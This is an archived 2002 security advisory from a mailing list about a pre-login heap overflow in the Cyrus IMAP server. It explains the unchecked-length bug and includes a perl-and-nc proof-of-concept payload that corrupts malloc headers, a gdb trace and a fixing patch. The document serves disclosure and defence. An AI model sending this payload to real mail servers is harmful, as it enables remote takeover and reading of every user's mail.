

# [UNIX] Pre-Login Buffer Overflow in Cyrus IMAP server

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-12/0017.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 12/05/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Dec 2002 20:44:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Pre-Login Buffer Overflow in Cyrus IMAP server

---

## SUMMARY

Cyrus IMAP server has a remotely exploitable pre-login buffer overflow. This will allow a remote attacker to compromise the security of the IMAP server, and the operating system on which it is residing on.

## DETAILS

Vulnerable systems:

\* Cyrus IMAP version 1.4 up to 2.1.10 including.

The vulnerability occurs due to the fact that literal lengths aren't verified to be in any reasonable range. The length + 2 is then malloc()ed and later written into. So given length of  $2^{32}-1$ , we get malloc(1) call but ability to write  $2^{32}-1$  bytes there.

Note that you don't have to log in before exploiting this, and since Cyrus runs everything under one UID, it's possible to read every user's mail in the system.

Vendor status:

Authors were first contacted 30. October, no response has been received.

## Securiteam: [UNIX] Pre-Login Buffer Overflow in Cyrus IMAP server

Semi-exploit:

```
perl -e 'print "x login
{4294967295}\r\n\x00\xff\xbf\x90\xff\xbf\xfc\xff\xff\xff\xff\xff\xff";|nc localhost imap2
<ctrl-c>
```

The first 4 bytes specify the address where you want to write to in memory and the next 4 bytes is the data to be written there (must be a readable memory address). Rest of the bytes are overwriting prev\_size and size in malloc header. The above values work with cyrus21 package in Debian unstable/x86. gdb verifies that the call was successful:

Program received signal SIGSEGV, Segmentation fault.

```
0xbffff90 in ?? ()
```

```
(gdb) bt
```

```
#0 0xbffff90 in ?? ()
```

```
#1 0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2
```

```
#2 0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2
```

```
#3 0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2
```

Shouldn't be too hard to come up with a real exploit from there on.

You also need to make one "x logout\n" connection first to trigger the exploit (Cyrus reuses the processes).

Fix:

Apply the included patch and set some reasonable ulimits to make sure the other integer overflows won't hit you in future.

```
diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c
cyrus-imapd-2.1.10/imap/imapparse.c
--- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24 21:58:41.000000000
+0300
+++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.000000000
+0200
@@ -97,7 +97,7 @@
     struct buf *buf, int type)
 {
     int c;
- int i;
+ unsigned int i;
     unsigned int len = 0;
     int sawdigit = 0;
     int isnowait;
@@ -228,6 +228,16 @@
     if (c != EOF) prot_ungetc(c, pin);
     return EOF;
 }
+ if (len > 65536) {
+ if (isnowait) {
+ for (i = 0; i < len; i++)
+ c = prot_getc(pin);
```

## Securiteam: [UNIX] Pre-Login Buffer Overflow in Cyrus IMAP server

```
+ }
+ prot_printf(pout, "* BAD Literal too large\r\n");
+ prot_flush(pout);
+ if (c != EOF) prot_ungetc(c, pin);
+ return EOF;
+ }
  if (len >= buf->alloc) {
    buf->alloc = len+1;
    buf->s = xrealloc(buf->s, buf->alloc+1);
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[tss@iki.fi](mailto:tss@iki.fi)> Timo Sirainen.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.